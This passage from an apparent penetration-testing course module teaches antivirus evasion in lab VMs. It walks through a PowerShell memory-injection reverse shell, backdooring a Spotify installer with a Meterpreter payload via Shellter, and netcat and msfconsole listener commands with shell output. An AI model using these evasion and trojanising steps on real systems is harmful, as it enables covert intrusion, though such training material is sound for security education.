Let's attempt to view and change the policy for our current user. Please note that in this instance, we have chosen to change the policy globally rather than on a per-script basis, which can be achieved by using the -ExecutionPolicy Bypass flag for each script when it is run.

First, we are going to retrieve the current execution policy via the Get-ExecutionPolicy -Scope CurrentUser command and then set it to Unrestricted via the Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope CurrentUser command.

PS C:\Users\offsec\Desktop> Get-ExecutionPolicy -Scope CurrentUser
Undefined

PS C:\Users\offsec\Desktop> Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope CurrentUser

Execution Policy Change
The execution policy helps protect you from scripts that you do not trust. Changing the execution policy might expose
you to the security risks described in the about_Execution_Policies help Module at
https:/go.microsoft.com/fwlink/?LinkID=135170. Do you want to change the execution policy?
[Y] Yes  [A] Yes to All  [N] No  [L] No to All  [S] Suspend  [?] Help (default is "N"): A

PS C:\Users\offsec\Desktop> Get-ExecutionPolicy -Scope CurrentUser
Unrestricted

Listing 14 - Changing the ExecutionPolicy for our current user

The listing above shows that we have successfully changed the policy for our current user to Unrestricted.

Before executing our script, we will start a Netcat listener on our Kali attacker machine to interact with our shell.

kali@kali:~$ nc -lvnp 443
listening on [any] 443 ...

Listing 15 - Setting up a netcat listener to interact with our reverse shell

Now we will try to launch the PowerShell script:

PS C:\Users\offsec\Desktop> .\bypass.ps1

IsPublic IsSerial Name                                     BaseType
-------- -------- ----                                     --------
True     True     Byte[]                                   System.Array
124059648
124059649
...

Listing 16 - Running the PowerShell script

The script executes without any problems and we receive a reverse shell on our attack machine.

kali@kali:~$ nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.50.1] from (UNKNOWN) [192.168.50.62] 64613
Microsoft Windows [Version 10.0.22000.675]
(c) Microsoft Corporation. All rights reserved.

C:\Users\offsec>whoami
whoami
client01\offsec

C:\Users\offsec>hostname
hostname
client01

Listing 17 - Receiving a reverse shell on our attacking machine

This means we have effectively evaded Avira detection on our target. In mature organizations, various machine learning7 software can be implemented that will try to analyze the contents of the scripts that are run on the system. Depending on the configuration of these systems and what they consider harmful, scripts like the one above may need to be altered or adapted for the target environment.

Additionally, when implemented correctly with a skilled operations center, EDR systems could just silently alert the SOC team and thus, render our attack useless in a matter of minutes.

Resources

Some of the labs require you to start the target machine(s) below.

Please note that the IP addresses assigned to your target machines may not match those referenced in the Module text and video.

Antivirus Evasion - Evading AV With Thread Injection - VM #1

Labs

  1. Review the code from the PowerShell script and ensure that you have a basic understanding of how it works. Connect to the VM 1 and get a shell back to your Kali Linux machine using the memory injection PowerShell AV bypass technique we covered in this Learning Unit. As an additional exercise, attempt to get a reverse shell using a PowerShell one-liner rather than a script (https://github.com/darkoperator/powershell_scripts/blob/master/ps_encoder.py).

Which API have we used in our script to allocate memory for the shellcode?

14.3.3. Automating the Process

Now that we have learned how to manually evade an AV via PowerShell, let's explore how to automate AV evasion payloads.

Shellter1 is a dynamic shellcode injection tool and one of the most popular free tools capable of bypassing antivirus software. It uses a number of novel and advanced techniques to backdoor a valid and non-malicious executable file with a malicious shellcode payload.

While the details of the techniques Shellter uses are beyond the scope of this Module, it essentially performs a thorough analysis of the target PE file and the execution paths. It then determines where it can inject our shellcode without relying on traditional injection techniques that are easily caught by AV engines. Those include changing of PE file section permissions, creating new sections, etc.

Finally, Shellter attempts to use the existing PE Import Address Table (IAT)2 entries to locate functions that will be used for the memory allocation, transfer, and execution of our payload.

A Shellter Pro paid version that supports both 32 and 64-bit binaries, which includes stealthier anti-AV features, is also available.

With a little bit of theory behind us, let's attempt to bypass our current Avira antivirus software using Shellter. We can install Shellter in Kali using the apt command.

kali@kali:~$ apt-cache search shellter
shellter - Dynamic shellcode injection tool and dynamic PE infector

kali@kali:~$ sudo apt install shellter
...

Listing 18 - Installing shellter in Kali Linux

Since Shellter is designed to be run on Windows operating systems, we will also install wine,3 a compatibility layer capable of running win32 applications on several POSIX-compliant operating systems.

kali@kali:~$ sudo apt install wine
...

root@kali:~# dpkg --add-architecture i386 && apt-get update &&
apt-get install wine32

Listing 19 - Installing wine in Kali Linux

Once everything is installed, running the shellter command in the local Kali terminal will provide us with a new console running under wine.

Figure 9: Initial shellter console.
Figure 9: Initial shellter console.

Shellter can run in either Auto or Manual mode. In Manual mode, the tool will launch the PE we want to use for injection and allow us to manipulate it on a more granular level. We can use this mode to highly customize the injection process in case the automatically selected options fail.

For the purposes of this example however, we will run Shellter in Auto mode by selecting A at the prompt.

Next, we must select a target PE. Shellter will analyze and alter the execution flow to inject and execute our payload. For this example, we will use the Windows 32-bit trial executable installer for the popular music player Spotify4 as our target PE. At time of this writing, Spotify offers only the 32-bit Windows version of the installer.

For real engagements, it is best practice to pick a new, less scrutinized application as Shellter's author explains.5

To start, we'll need to tell Shellter the Spotify installer location on our local Kali machine. In this case, it is /home/kali/desktop/spotifysetup.exe. Before analyzing and altering the original PE in any way, Shellter will first create a backup of the file.

Figure 10: Selecting a target PE in shellter and performing a backup
Figure 10: Selecting a target PE in shellter and performing a backup

As soon as Shellter finds a suitable place to inject our payload, it will ask us if we want to enable Stealth Mode,6 which will attempt to restore the execution flow of the PE after our payload has been executed. Let's enable Stealth Mode as we would like the Spotify installer to behave normally in order to avoid any suspicion.

At this point, we are presented with the list of available payloads. These include popular selections such as Meterpreter, but Shellter also supports custom payloads.

Figure 11: List of payloads available in shellter
Figure 11: List of payloads available in shellter

Note that in order to restore the execution flow through the Stealth Mode option, custom payloads need to terminate by exiting the current thread.

After some testing, it seems that any non-Meterpreter payload fails to be executed correctly under Windows 11 and thus, we'll need to resort to Meterpreter-based payloads.

At this stage, we should not worry too much about the differences between standard and Meterpreter payloads as we are going to learn about those in an upcoming Module.

In order to test Shellter's bypass capabilities, we will use the Meterpreter version of the reverse shell payload that Avira detected at the beginning of this Module. After submitting L for listed payloads, we'll select the first payload. We are then presented with the default options from Metasploit, such as the reverse shell host (LHOST) and port (LPORT), which we should fill with our local Kali's IP address and listening port.

Figure 12: Payload options in shellter
Figure 12: Payload options in shellter

With all of the parameters set, Shellter will inject the payload into the Spotify installer and attempt to reach the first instruction of the payload.

Figure 13: shellter verifying the injection
Figure 13: shellter verifying the injection

Now that the test has succeeded, before transferring over the malicious PE file to our Windows client, we will configure a listener on our Kali machine to interact with the Meterpreter payload. We can accomplish this with the following one-liner, remembering to replace the IP address with the one on our Kali box.

kali@kali:~$ msfconsole -x "use exploit/multi/handler;set payload windows/meterpreter/reverse_tcp;set LHOST 192.168.50.1;set LPORT 443;run;"
...
[*] Using configured payload generic/shell_reverse_tcp
payload => windows/meterpreter/reverse_tcp
LHOST => 192.168.50.1
LPORT => 443
[*] Started reverse TCP handler on 192.168.50.1:443

Listing 20 - Setting up a handler for the meterpreter payload

Next, we will transfer the backdoored Spotify installer over to the target Windows 11 client and launch an Avira Quick Scan as we did previously.

Figure 14: Running a Quick Scan using Avira
Figure 14: Running a Quick Scan using Avira

Avira's Quick Scan performs a check inside every user's common folder, including the Desktop folder.

Since Shellter obfuscates both the payload as well as the payload decoder before injecting them into the PE, Avira's signature-based scan runs cleanly. It does not consider the binary malicious.

Once we execute the file, we are presented with the default Spotify installation window, which under normal circumstances will download the Spotify package over the internet. Because our VM has no internet connection, the Spotify installer will hang indefinitely.

Figure 15: Launching the backdoored Spotify installer
Figure 15: Launching the backdoored Spotify installer

Reviewing our multi/handler window, it shows that we successfully received a Meterpreter shell.

...
[*] Using configured payload generic/shell_reverse_tcp
payload => windows/meterpreter/reverse_tcp
LHOST => 192.168.50.1
LPORT => 443
[*] Started reverse TCP handler on 192.168.50.1:443
[*] Sending stage (175174 bytes) to 192.168.50.62
[*] Meterpreter session 1 opened (192.168.50.1:443 -> 192.168.50.62:52273)...

meterpreter > shell
Process 6832 created.
Channel 1 created.
Microsoft Windows [Version 10.0.22000.739]
(c) Microsoft Corporation. All rights reserved.

C:\Users\offsec\Desktop>whoami
whoami
client01\offsec

Listing 21 - Receiving the meterpreter session

We've launched an interactive Windows shell session and verified that we actually landed on the target machine as the offsec user.

Awesome! We managed to evade antivirus detections by injecting a malicious payload into an otherwise legitimate program. This foundational example can be even further expanded and tailored on a case-by-case basis during real phishing engagements.

3

(The Wine Project, 2022) https://www.winehq.org/ ↩︎

Resources

Some of the labs require you to start the target machine(s) below.

Please note that the IP addresses assigned to your target machines may not match those referenced in the Module text and video.

Name
(Click to sort ascending)
IP Address
Antivirus Evasion - Evading AV - Automating the Process - VM #1
Start Antivirus Evasion - Evading AV - Automating the Process - VM #1 with Kali browser access
Antivirus Evasion - Module Exercise - VM #1
Start Antivirus Evasion - Module Exercise - VM #1 with Kali browser access
Antivirus Evasion - Module Exercise - VM #2
Start Antivirus Evasion - Module Exercise - VM #2 with Kali browser access

Labs

  1. Use Shellter to inject a Meterpreter reverse shell payload in the Spotify executable, then transfer the binary to your Window 11 client VM #1 and ensure that it is not being detected by the antivirus. After, set up a Meterpreter listener, run the backdoored Spotify installer, and verify that you have obtained an interactive shell. As an additional exercise, attempt to find different executables and inject malicious code into them using Shellter.

Which Shellter option is responsible for restoring the execution flow of the backdoored binary and therefore avoids any unwanted suspicion?

  1. Capstone Lab: In this exercise, you'll be facing off against COMODO antivirus engine running on Module Exercise VM #1. Use another popular 32-bit application, like PuTTY, to replicate the steps learned so far in order to inject malicious code in the binary with Shellter. The victim machine runs an anonymous FTP server with open read/write permissions. Every few seconds, the victim user will double-click on any existing .exe file(s) in the FTP root directory. If the antivirus flags the script as malicious, the script will be quarantined and then deleted. Otherwise, the script will execute and hopefully, grant you a reverse shell. NOTE: set the FTP session as active and enable binary encoding while transferring the file.
  1. Capstone Lab: Similar to the previous exercise, you'll be facing off against COMODO antivirus engine v12.2.2.8012 on Module Exercise VM #2. Although the PowerShell AV bypass we covered in this Module is substantial, it has an inherent limitation. The malicious script cannot be double-clicked by the user for an immediate execution. Instead, it would open in notepad.exe or another default text editor. The tradecraft of manually weaponizing PowerShell scripts is beyond the scope of this module, but we can rely on another open-source framework to help us automate this process. Research how to install and use the Veil framework to help you with this exercise.

The victim machine runs an anonymous FTP server with open read/write permissions. Every few seconds, the victim user will double-click on any existing Windows batch script file(s) (.bat) in the FTP root directory. If the antivirus flags the script as malicious, the script will be quarantined and then deleted. Otherwise, the script will execute and hopefully, grant you a reverse shell.

14.4. Wrapping Up

In this Module, we discussed the purpose of antivirus software and the most common methods used by vendors to detect malicious code. We briefly explained various antivirus bypass methods that involve different techniques of on-disk and in-memory shellcode injection and demonstrated successful bypasses using Shellter and PowerShell.

Although we have successfully bypassed antivirus detection in both of our examples, we have barely scratched the surface of malware detection and evasion. For further reading and to learn how much effort is required for malware writers to evade modern defenses, we encourage you to read the excellent Microsoft article "FinFisher exposed: A researcher’s tale of defeating traps, tricks, and complex virtual machines"1 along with a few advanced evasion techniques listed in Emeric Nasi's paper.2

Previous Module

Fixing Exploits

Next Module

Password Attacks

Learning Modulenotes